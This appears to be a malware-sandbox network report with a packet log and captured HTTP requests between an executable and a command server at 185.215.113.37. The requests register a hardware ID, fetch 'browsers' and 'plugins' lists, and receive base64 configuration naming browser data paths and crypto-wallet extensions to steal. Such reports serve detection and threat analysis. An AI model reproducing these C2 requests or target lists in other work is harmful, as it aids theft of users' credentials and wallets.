Sep 25, 2024 21:52:11.549729109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549746037 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549747944 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.549760103 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.549765110 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.549806118 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.597384930 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.603066921 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820204973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820453882 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820470095 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820487022 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820506096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820532084 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820547104 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820565939 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.820616007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.820677996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820693970 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820709944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820724964 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820739031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820746899 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.820755959 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820771933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820785046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.820789099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.820822954 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.820848942 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.821024895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821054935 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821073055 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821110010 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.821135998 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.821166039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821182013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821197033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821212053 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821232080 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.821260929 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.821274042 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821300030 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821329117 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.821355104 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.821446896 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821466923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821481943 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821497917 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821501017 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.821515083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821523905 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.821532965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821546078 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.821552038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821569920 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821585894 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.821588039 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.821609020 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.821645021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822137117 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822154045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822168112 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822184086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822200060 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822213888 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822216988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822232962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822247982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822252035 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822266102 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822271109 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822282076 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822298050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822298050 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822313070 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822323084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822330952 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822343111 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822348118 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822365999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822381973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822385073 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822432041 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822768927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822797060 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822812080 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822828054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822834969 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822844982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822861910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822873116 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822879076 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822895050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822912931 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.822932959 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822932959 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.822963953 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.915544033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.915762901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.915904999 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.947784901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.947830915 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.947849989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.947940111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.947957039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.947976112 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.947992086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.948090076 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.948091030 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.948091030 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.948091030 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.948091030 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.948098898 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.948127031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.948144913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.948163033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:11.948199034 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:11.948260069 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:12.742769957 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:12.742955923 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:12.748023987 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:12.748042107 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:13.597671986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:13.597798109 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:13.674839020 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:13.679932117 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:13.966362953 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:13.966388941 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:13.966408014 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:13.966454029 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:13.966509104 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:13.969907999 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:13.975146055 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.300740957 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.300765991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.300784111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.300797939 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.300813913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.300831079 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.300834894 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:14.300847054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.300863981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.300879955 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.300895929 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:14.300898075 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.300914049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.300929070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:14.300929070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:14.300966978 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:14.393026114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:14.393121958 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:14.411637068 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:14.416981936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:15.501180887 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:15.501225948 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:15.501245975 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:15.501293898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:15.529709101 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:15.534877062 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:15.755152941 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:15.755232096 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:15.756418943 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:15.761773109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:16.496630907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:16.496759892 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:21.290585041 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	6604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 21:51:54.760765076 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 25, 2024 21:51:55.541199923 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:51:55 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 25, 2024 21:51:55.564630032 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFI Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 43 46 35 32 31 38 45 36 35 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="hwid"7CF5218E65C93740105281------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="build"save------IJKKEHJDHJKFIECAAKFI--
Sep 25, 2024 21:51:55.801501036 CEST	407	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:51:55 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 44 4d 34 5a 44 55 33 4f 47 4e 68 4d 47 59 33 5a 6a 51 35 59 32 4e 69 5a 54 49 30 4e 44 41 79 4e 32 4e 6d 4e 44 49 33 59 6d 4e 68 4e 54 52 6a 4e 6a 42 68 4f 44 5a 69 4f 47 5a 6b 59 6d 52 6b 4d 32 56 6a 4d 44 51 79 4d 54 42 68 4d 47 5a 6a 4e 6a 6b 33 5a 6a 49 33 4e 44 45 7a 4e 57 56 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NDM4ZDU3OGNhMGY3ZjQ5Y2NiZTI0NDAyN2NmNDI3YmNhNTRjNjBhODZiOGZkYmRkM2VjMDQyMTBhMGZjNjk3ZjI3NDEzNWVjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwxfHlibmNiaHlsZXBtZXw=
Sep 25, 2024 21:51:55.907799006 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFC Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="message"browsers------GCGHCBKFCFBFHIDHDBFC--
Sep 25, 2024 21:51:56.132278919 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:51:56 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 25, 2024 21:51:56.132297039 CEST	124	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxc
Sep 25, 2024 21:51:56.227922916 CEST	388	IN	Data Raw: 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 45 64 59 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d Data Ascii: T3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQcm9kdWN0aW9uc1xQYWxlIE1vb25cUHJvZmlsZXN
Sep 25, 2024 21:51:56.240526915 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJ Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 2d 2d 0d 0a Data Ascii: ------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="message"plugins------EGCFIDAFBFBAKFHJEGIJ--
Sep 25, 2024 21:51:56.494069099 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:51:56 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 